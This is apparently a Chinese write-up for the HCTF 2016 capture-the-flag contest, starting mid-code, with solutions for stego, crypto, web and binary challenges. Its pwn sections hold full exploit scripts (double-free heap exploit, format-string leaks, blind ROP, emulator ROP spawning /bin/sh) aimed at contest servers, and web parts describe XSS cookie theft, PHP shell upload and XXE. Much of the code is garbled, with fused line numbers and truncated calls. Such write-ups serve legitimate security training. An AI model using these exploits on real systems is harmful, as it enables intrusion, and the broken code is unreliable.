2)), cfun15c(a));};int cfun17c(int a){return cfun8c(cfun6c(4, a), cfun5c(4, cfun7c(a, 0xF)));};const static int cfun18c(int a){//printf("%d", a);if (a == 0){return cfun17c(cfun16c(0));}const static int c = cfun2c(cfun17c(cfun16c(a)), cfun18c(a - 1));return c;};constexpr int cArr2c[] = { 0x93,0xd7, 0x57, 0xb5, 0xe5, 0xb0, 0xb0, 0x52, 0x2, 0x0, 0x72, 0xb5, 0xf1, 0x80, 0x7, 0x30, 0xa, 0x30, 0x44, 0xb };unsigned char cfun19c(int a){return cArr2c[a];};int cfun20c(int a,int b){if (a == 20 && b == 1)return 1;if (b == 0){return 0;}return cfun20c(a + 1, cFun1c( cfun19c(a), cfun18c(a)));};int cfun21c(int b){if (b == 0){return 0;}return cfun11c(26 - b, cfun13c(4, 1));};int bStart(){return cfun20c(0, cfun21c(cfun10c(26)));};int mm;void dfs(int max){if () >= max){if (bStart()){printf("Yes,You got it\n");for (int i = 0;i < max;i++){printf("%c", FLAG[i]);}}else{if (mm < max){printf("%d",mm);mm = max;}}return;}for (char i = 0;i < 127;i++){FLAG.push_back(i);dfs( max);FLAG.pop_back();}}int main(){bStart();for (unsigned char i = 1;i < 20;i++){unsigned char x = cfun9c(i) ^ 106;unsigned char y = cArr2c[i -1] ^ cArr2c[i];unsigned char y_h = y << 4;unsigned char y_l = y >> 4;y = y_h | y_l;y = y^x;if (i % 2 == 1){y += i;}else{y -= i;}printf("%c", y);}return 0;}

gogogo


魂斗罗小游戏,我有金手指我怕谁。233

玩游戏得flag系列

hctf{ju5tf0rfun}

你们所知道的隐写就仅此而已吗


Blindwatermark隐写,在知乎上有一个答主讲了如何进行盲水印隐写,利用的是傅立叶变换吧。

利用 matlab 运行搜索到的代码

1234imageA = imread('3.bmp','bmp');fftA = fft2(imageA);imshow(fftshift(fftA))imshow(fft(rgb2gray(imread(';))), [1,2]);

Flag如下:

pic again


用stegsolve进行LSB检测

发现在 0 通道有异常

用StegSolve的Data Extract功能将隐写信息提取出来

Preview 发现存在一个压缩包点击save bin

在压缩包中的文件找到了flag

杂项签到


123456789101112819202122232425from Crypto import Randomfrom Cry import AESimport sysimport base64def decrypt(encrypted, passphrase): IV = encrypted[:16] aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.decrypt(encrypted[16:])def encrypt(message, passphrase): IV = message[:16] length = 16 count = len(message) padding = length - (count % length) message = message + '\0' * padding aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.encrypt(message)IV = 'YUFHJKVWEASDGQDH'message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'print len(message)example = encrypt(message, 'Qq4wdrhhyEWe4qBF')print exampleexample = decrypt(example, 'Qq4wdrhhyEWe4qBF')print examplefl="mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA=="print decry("base64"), 'Qq4wdrhhyEWe4qBF')

Re 50


题目的逻辑是这样的

字符串一共20位,前面的奇数和后面的倒数的技术互换,前面一半的的偶数和后面一半的偶数为下一个偶数位+2,

字符串变换后 出来是与0xcc进行异或

用下表来表示的话,那么应该是

123450 192 174 156 138 11

进行交换

1

2

3

4

7 9

5 7

3 5

1 3

右边的+2赋值给左边的

我们逆向怎么做呢,先比较的字符串异或,得到操作后的正确的字符串,再反操作字串,

最后比较的key是:

12345003CFDAC B1 00 00 00 A4 00 00 00 B5 00 00 00 87 00 00 00003CFDBC AD 00 00 00 AD 00 00 00 93 00 00 00 B9 00 00 00003CFDCC BF 00 00 00 BF 00 00 00 93 00 00 00 FD 00 00 00003CFDDC FC 00 00 00 BB 00 00 00 FF 00 00 00 B7 00 00 00003CFDEC F9 00 00 00 B8 00 00 00 ED 00 00 00 A4 00 00 00

在IDA中也能看出来这些

V4是输入后变换的

变换后异或 再与key比较

所以题目应该是 正确的flag hctf{It_1s_s0_3a5y!} 输入之后,进行上述的位变换,然后与0xcc异或,最后与上图中的key比较。

将上述的key 与0xcc异或转字符串得到}hyKaa_uss_10t3{5t!h

然后进行位变换

1234567891011str='}hyKaa_uss_10t3{5t!h's=list(str)leng=len(str)for i in range(0,leng/2,2): temp = s[i] s[i]=s[leng-i-1] s[leng-i-1]=tempprint ''.join(s)for i in range(9,1,-2): s[i] = chr(ord(s[i-2])-2)print ''.join(s)

由于是栈操作得到的flag 第二位被覆盖了。

我们根据格式修改一下就好了所以flag是

hctf{It_1s_s0_3a5y!}

>>>

level1-2099年的flag


题目提示需要ios99系统

找一个ios系统的useragent

1Mozilla (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKi (KHTML, like Gecko) Version Mobile/13B143 Safari

修改为

1Mozilla (iPhone; CPU iPhone OS 99_1 like Mac OS X) AppleWebKi (KHTML, like Gecko) Version Mobile/13B143 Safari

再发送请求

在返回包中找到包含flag的请求头

level2-RESTFUL


打开网页,chrome查看到xhr请求,

于是对index.php尝试put请求并加上参数money(用restful的格式)得到flag

level2-giligili


分析方法相同,但是遇到一个坑,按照xor的结果第二段字符串为b?H¹,放到网页里提示成功却不是正确的flag,猜一下,发现用y0ur代替b?H¹ 也是正确的解。

level2-兵者多诡


找到上面这篇writeup后学习各种姿势后,照着拿到了flag

level3-必须比香港记者跑得快


# 跑得比谁都快

## ChangeLog 的故事

## 这里是加了.git之后忘删的README.md XD by Aklis

## ChangeLog

- 2016.11.11

完成登陆功能,登陆之后在session将用户名和用户等级放到会话信息里面。

判断sessioin['level']是否能在index.php查看管理员才能看到的**东西**。

XD

- 2016.11.10

老板说注册成功的用户不能是管理员,我再写多一句把权限降为普通用户好啰。

- 2016.10

我把注册功能写好了

可以看到注册的过程中包含

添加一个用户初始level > 0,降级该用户

登陆的时候将level放入session

于是判断存在条件竞争。在注册操作中降级用户之前登陆。Session中保存的用户level就不为0

level3-guestbook


验证码只需要爆破1-99999的数字的MD5,会有一个MD5的前四4位与网页中的相同。

然后观察到返回的请求头

1Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' ; style-src 'self' 'unsafe-inline'; img-src 'self'

CSP策略中script可以执行inline。

于是直接在message中写js代码通过loca跳转或者xhr的方式把cookie和当前网址发送到自己的服务器上。

然后观察到script 和 on 被置换为空,双写绕过即可。

最后伪造cookie登陆后拿到flag

level4-大图书馆的牧羊人


扫描到.git/config 下载源码后发现登录后会将用户名加密存储在cookie中,而如果cookie解密后是admin,就能访问到后台。

用comm.php里的密钥加密admin登陆上后台,有一个上传功能

1234567891011$files = isset($_FILES['file']) ? $_FILES['file'] : exit();if($files['type']!=="application/epub+zip") { exit("Not Allow type!");}//extract$file = new ZipArchive;$epub_name = $files['tmp_name'];$extracted_path = 'uploads/'.basename($files['name'],".epub")."/";if ($file->open($epub_name) === TRUE){ $file->extractTo($extracted_path); $file->close();

阅读上传源码,只需要修改content-type让代码继续执行,去解压zip到uploads目录。于是直接上传一个有php shell的zip就拿到了shell

level4-secret area


和guestbook比较类似,也有防御xss的csp策略而且并不支持script 的 inline执行。注册登录后发现修改个人资料处提供一个上传头像的功能,然而在测试一番后发现上传处并没有什么缺陷,但是在html中发现有个功能提供302跳转

而 目录是在csp策略里script标签白名单里的,于是在头像文件里写上xss payload,上传后得到 /upload/e8ea98429c80cfd74e000cce900612a3。

然后就只需要构造<script src=/upload/e8ea98429c80cfd74e000cce900612a3 > 这个标签即可绕过csp策略。script on 被过滤,也是双写绕过即可。

level4-web选手的自我修养


下载docker镜像mi后执行命令

12docker load < midocker run -t -i hctf/misc150 /bin/bash

加载镜像并执行镜像里的bash

Home目录中发现php7-opcache-override-master。

于是查找到一篇资料利用opcache隐藏后门

于是去/tmp/opcache/5c8fa39e1df122a51d720c5716df71e4/home/wwwro

ot/default/ 查找发现一堆bin文件。就又去home目录翻到了wwwlog

发现有多条记录直接访问/wp-include,这个文件一般来说会用包含的方式使用,猜测后门就在这里。

编辑器打开/tmp/opcache/5c8fa39e1df122a51d720c5716df71e4/home/wwwroot/default/wp-include.bin 有一堆不可见字符,用strings命令提取后最后两行

Base64解码后得到flag

level4-AT Field_1


ssrf 漏洞,限制了内网ip。通过302跳转可以绕过,

在网址处输入http://127.0.0.1

源码中有一串base64 解码即可得到flag

level5-魔法禁书目录


和前面那道题一样,只是不再有明文的密钥,而是通过cbc翻转攻击构造管理员的cookie

类似于

然而注册的时候用户名控制在6-20之间。构造admin的密文需要得到同样为5位长度或者5+16长度的明文加密后的密文。恰好在这个范围之外。查看代码发现

123456789101112function decrypt( $string ) { $密钥 = "233333";$algorithm = 'rijndael-128';$key = md5($密钥, true );$iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );$string = urlsafe_b64decode( $string );$iv = substr( $string, 0, $iv_length );$encrypted = substr( $string, $iv_length );$result = mcrypt_decrypt( $algorithm, $key, $encrypted, MCRYPT_MODE_CBC, $iv );$result = rtrim($result, "\0");return $result;}

在解密的最后清除掉了\0

所以构造admin\0的密文即可

注册一个adminx的用户,得到密文 oPR4gZAqfHYnOhWw1GcX-zIEvN_1OCaamhmDLxRigpA

1234567891011128192021<?phpfunction urlsafe_b64encode($string) { $data = base64_encode($string); $data = str_replace(array('+','/','='),array('-','_',''),$data); return $data;}function urlsafe_b64decode($string) { $data = str_replace(array('-','_'),array('+','/'),$string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } return base64_decode($data);}function decrypt2( $string ) {$string = urlsafe_b64decode( $string );$string[5] = chr(ord($string[5])^0^ord('x'));$string = urlsafe_b64encode($string);return $string;}echo decrypt2("oPR4gZAqfHYnOhWw1GcX-zIEvN_1OCaamhmDLxRigpA");

得到密文后伪造cookie登陆。

审计到u中有xml的解析。于是利用xxe漏洞盲打读取根目录文件内容即可

就是干(fheap)


漏洞部分:

删除时,由于检查的条件str_info指针在delete后并没有置空,存在double free,如下:

结构体如下,存在函数指针:

创建时,管理结构大小为0x20字节,而数据部分大小可控。如下:

利用点:

所以可以根据fastbin,构造数据部分和管理结构大小相等,在分配时,错乱顺序,可以让数据部分和管理结构重合,从而改写函数指针,程序开启了pie,可以只改写释放函数的后两字节(其前面部分地址是一样的),将其改写成printf_plt,实现任意地址泄露,因为libc没有提供,所以可以通过printf来实现dynelf的leak函数,由于前面说的数据段和管理结构可以重叠,改写buff指针以及其函数指针,最终利用代码如下:

脚本如下:

1234567891011128192021222324252627282930337383940414243444546474849505575859606162636465666768697071727374757677787980887888990919293949596979899100101102103104105106107108109110111112111711221231241251261271281293711421431448149371162163164165166167168169170171172173174175176177178179318482193194195196197198199200from zio import *target = "./fheap"target = ("115.28.78.54", 80)def get_io(target): r_m = COLORED(RAW, "green") w_m = COLORED(RAW, "blue") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return iodef t_create(io, buff): io.read_until("3.quit\n") io.write("create ") io.read_until(":") io.writeline(str(len(buff))) io.read_until(":") io.write(buff)def t_delete(io, tid, padding = "yes"): io.read_until("3.quit\n") io.write("delete ") io.read_until(":") io.writeline(str(tid)) io.read_until(":") io.writeline(padding)g_io = 0g_canary = 0proc_addr = 0def gen_payload(func_got, arg1, arg2, arg3): #set_args_addr set_args_addr = 0x11da + proc_addr call_func_addr = 0x11c0 + proc_addr payload = "" payload += l64(set_args_addr) payload += l64(0) #pop rbx = 0 payload += l64(1) #pop rbp payload += l64(func_got) #pop r12 payload += l64(arg3) #pop r13 payload += l64(arg2) #pop r14 payload += l64(arg1) #pop r15 payload += l64(call_func_addr) payload += l64(0) #nouse padding : add rsp, 8 payload += l64(0) #pop rbx = 0 payload += l64(1) #pop rbp payload += l64(func_got) #pop r12 payload += l64(arg3) #pop r13 payload += l64(arg2) #pop r14 payload += l64(arg1) #pop r15 payload += l64(call_func_addr) return payloaddef leak_addr(addr): global g_io global proc_addr t_delete(g_io, 1) index0 = 9 printf_plt = 0x9d0 + proc_addr #print "printf_plt:", hex(printf_plt) payload = "" payload += ("%%%d$s--..--"%(index0)).ljust(0x18, 'a') payload += l64(printf_plt)[:3] + "\x00" t_create(g_io, payload) padding = "yes.aaaa" padding += l64(addr) t_delete(g_io, 2, padding) #data = io.read_until_timeout(2) data = g_io.read_until("--..--")[:-6] data += "\x00" return datadef get_shell(system_addr): global g_io global proc_addr t_delete(g_io, 1) index0 = 9 printf_plt = 0x9d0 + proc_addr #print "printf_plt:", hex(printf_plt) payload = "" payload += ("/bin/sh;").ljust(0x18, 'a') payload += l64(system_addr)[:6] + "\x00" t_create(g_io, payload) padding = "yes.aaaa" padding += "" t_delete(g_io, 2, padding) #data = io.read_until_timeout(2) io.interact()from pwn import *def pwn(io): global g_io global proc_addr g_io = io io.read_until(":") io.writeline("927e613a91620da8c5f10936faf70f4dgDR95OLX") t_create(io, "a"*0x20) t_create(io, "a"*0x20) t_create(io, "a"*0x20) t_create(io, "a"*0x20) t_delete(io, 0) t_delete(io, 1) t_delete(io, 2) t_delete(io, 3) t_create(io, "a"*0x40) release_func = 0xD6c printf_plt = 0xb9d0 #io.gdb_hint() #printf_plt = int(raw_input("printf_plt:"), 16) index0 = 9 ret_index = (0x458 - 0x348)/8 + index0 __libc_start_main_index = (0x878 - 0x348)/8 + index0 canary_index = (0x108)/8 + index0 - 1 payload = "" payload += ("%%%d$p.%%%d$p.%%%d$p--..--"%(ret_index, __libc_start_main_index, canary_index)).ljust(0x18, 'a') payload += l64(printf_plt)[:2] + "\x00" t_create(io, payload) padding = "yes.aaaa" padding += "b"*8 padding += "c"*8 t_delete(io, 2, padding) #data = io.read_until_timeout(2) data = io.read_until("--..--") print data if "--..--" not in data: return False data = data[:data.find("--..--")] items = da('.') proc_addr = int(items[0], 16) - 0xcf2 __libc_start_main_addr = int(items[1], 16) print "__libc_start_main_addr:", hex(__libc_start_main_addr) canary_data = int(items[2], 16) print "canary_data:", hex(canary_data) print "proc_addr:", hex(proc_addr) g_canary = canary_data print "get it" read_got = 0x0000000000202058 + proc_addr data = leak_addr(read_got) read_addr = l64(data[:8].ljust(8, '\x00')) print "read_addr:", hex(read_addr) print [c for c in data] offset = -0xb12e0 if offset == 0: #d = DynELF(leak_addr, proc_addr) d = DynELF(leak_addr, proc_addr, elf=ELF('./fheap')) system_addr = d.lookup('system', 'libc') print "system_addr:", hex(system_addr) offset = system_addr - read_addr print "offset:", hex(offset) system_addr = read_addr + offset print "system_addr:", hex(system_addr) get_shell(system_addr)import timewhile True: try: io = get_io(target) if pwn(io) == False: continue except Exception, e: #raise pass (2)

flag如下:

ASM


程序实现了一个代码仿真器,他提供了一系列的类x86指令,功能也类似,并提供了make_code,能对汇编代码进行转换,

里面的重点指令功能:lea dst,src 能够实现将src(寄存器或者内存地址)的地址取出来,并放到dst中去,所以可以通过lea r1,r0,取得r0的内存地址。

通过栈实现任意地址读写:

在内存布局中,有以下关系:

1234|…..Libc……..||…..data…….||…..heap…….||…..stack……|

仿真器中的堆栈在程序中的heap中,而在pop(伪栈下移)时,未检测上界限,可以泄露上面的地址(取内存中值),在push(伪栈上移)时,未检测下界限,可以改写stack的地址(写内存值)。而sp可以直接通过mov等指令进行改写。

泄露的libc地址可以用仿真器的寄存器存储,并找到libc中environ的位置,从而得到栈的地址,该libc直接通过libc_database可以查到,最终在栈中布置好rop,在仿真代码结束后,即可获取shell。

利用脚本系列如下:

获取shell的带注释的asm文件如下:

123456789101112819202122232425262728293033738394041424344454647484950515253data:0x6c6c6568,0x726f776f,0x646cendlea r0,r0sub r1,r0,0x3054;set read_gotadd r0,r1,0x3010;leak info in r0: r2 = [r0]mov r2,spmov sp,r0pop r0mov sp,r2mov r2,r0;libc_base addrsub r0,r2,0xd41c0push r0;leak environ_gotadd r0,r0,0x001b1dbc;show info;mov r2,r0;push r2;call puts;mov r0,r2;leak environ_addrmov r2,spmov sp,r0pop r0mov sp,r2mov r2,r0;ret addrsub r2,r2,0xd0;push r2add r2,r2,0xC#get libc_basepop r1;set addr at r2mov sp,r2#binsh_addradd r0,r1,0x158e8bpush r0#system_addradd r0,r1,0x0003a940push r0add r0,r1,0x0003a940push r0;show info;push r2;call puts;push r2;call puts;push r2;call puts$

对上述asm文件去注释脚本:

1234567891011121314file_r = open("do_work.asm", 'r')info = ()()file_w = open("do_work_real.asm", 'w')for line in info: if line.startswith(";"): continue if line.startswith("#"): continue if len()) == 0: continue (line)()

获取shell脚本:

123456789101112819202122232425262728293031323334from zio import *target = "./pwn"target = ("115.28.78.54", 23333)def get_io(target): r_m = COLORED(RAW, "green") w_m = COLORED(RAW, "blue") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return iodef pwn(io): io.read_until(":") io.writeline("927e613a91620da8c5f10936faf70f4dgDR95OLX") io.read_until("!\n") file_r = open("1.bin", "rb") data = () () sinal = "give me your code, end with a single line of '$'\n" data = da(sinal, "") #print data io.gdb_hint() #data = da(0x300, 'a') io.write(data) io.interact()io = get_io(target)pwn(io)

转换bin文件并执行脚本run.sh:

python com

./make_code < do_work_real.asm > 1.bin

python

flag如下:

出题人失踪了


因为没有给bin,根据两个提示,感觉可能是一个栈溢出。

猜测没有开启pie,所以基地址为0x08048000或者0x400000。最开始尝试0x08048000,没有任何发现。

经过测试,当输入字符超过72字节时,程序不会回显No password, No game。

构造如下payload爆破,发现当i=0x711时,程序会正常打印No password, No game,而i=0x70c时,程序会继续等待输入。所以可以推断0x40070c为call指令,调用漏洞函数,0x400711为函数返回地址。

12 for i in range(0, 0x1000): payload = 'a'*72 + l64(0x0400000+i)

因为是64位程序,要想实现任意地址泄露,主要需要知道pop_rdi_ret和puts_plt的地址。

在64位ELF中,通常存在一个pop r15;ret,对应的字节码为41 5f c3。后两字节码5f c3对应的汇编为pop rdi;ret。

当一个地址满足如下3个payload都能正常打印NO password, No game的话,就可以得到一个pop rdi;ret的地址。

123Payload1 = 'a'*72 + l64(addr-1)+l64(0)+l64(0x400711) Payload2 = 'a'*72 + l64(addr)+l64(0)+l64(0x400711) Payload3 = 'a'*72 + l64(addr+1) +l64(0x400711)

最终得到的pop_rdi_ret地址为0x4007c3。

构造


Payload3 = 'a'*72 + l64(pop_rdi_ret) +l64(0x400000)+l64(addr)

如果程序打印前4个字节为\x7fELF,则addr为puts_plt。

得到puts_plt的地址为0x400570

后面就是dump+exp了。Exp大致如下:

1234567891011128192021222324252627282930337383940414243444546474849505575859606162636465666768697071727374from threading import Threadimport time# from uploadflag import *from zio import *target = ('119.254.101.197', 10000)target = './test'target = ('115.28.78.54', 13455)def interact(io): def run_recv(): while True: try: output = io.read_until_timeout(timeout=1) # print output except: return t1 = Thread(target=run_recv) () while True: d = raw_input() if d != '':def exp4(target): puts_plt = 0x400570 pop_rdi_ret = 0x4007c3 io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \ print_write=COLORED(RAW, 'green')) io.read_until('token:') io.writeline('927e613a91620da8c5f10936faf70f4dgDR95OLX') base = 0x400000 d = '' while True: print hex(len(d)) io.read_until('?\n') payload = 'a'*72 + l64(pop_rdi_ret) +l64(base+len(d)) + l64(puts_plt) io.writeline(payload) d += io.readline()[:-1] + '\x00' if len(d) > 0x9bc: break f = open('code.bin', 'wb') f.write(d) f.close() base = 0x600e10 d = '' while True: print hex(len(d)) io.read_until('?\n') payload = 'a'*72 + l64(pop_rdi_ret) +l64(base+len(d)) + l64(puts_plt) io.writeline(payload) d += io.readline()[:-1] + '\x00' if len(d) > 0x248: break f = open('da;, 'wb') f.write(d) f.close() io.close()def exp5(target): puts_plt = 0x400570 pop_rdi_ret = 0x4007c3 read_got = 0x601028 puts_got = 0x601018 passcode = 'aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk' io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \ print_write=COLORED(RAW, 'green')) io.read_until('token:') io.writeline('927e613a91620da8c5f10936faf70f4dgDR95OLX') io.read_until('?\n') main = 0x004006BD io.writeline('a'*72+l64(pop_rdi_ret)+l64(puts_got)+l64(puts_plt)+l64(main)) base = l64()[:-1].ljust(8, '\x00')) - 0x000000000006f690 system = base + 0x0000000000045390 binsh = base + 0x18c177 io.read_until('?\n') io.writeline('a'*72+l64(pop_rdi_ret)+l64(binsh)+l64(system)+l64(main))interact(io)exp5(target)

关于作者: admin

无忧经验小编鲁达,内容侵删请Email至wohenlihai#qq.com(#改为@)

热门推荐